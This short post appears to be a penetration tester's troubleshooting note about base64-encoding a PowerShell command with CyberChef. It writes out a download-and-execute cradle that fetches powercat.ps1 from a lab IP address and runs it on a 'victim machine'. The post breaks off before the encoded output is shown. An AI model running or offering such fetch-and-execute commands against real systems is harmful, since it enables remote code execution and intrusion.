init In one case I have discovered some strange issue which I have never faced before. I was trying execute a powershell command as shown below:
IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.56.254:8000/powercat.ps1') How ever interestingly, if I use CyberChef to encode the above command to base64 so that I can use powershell -e to decode the code and then execute on the victim machine.
If the encoding is done on the CyberChef, we get the below: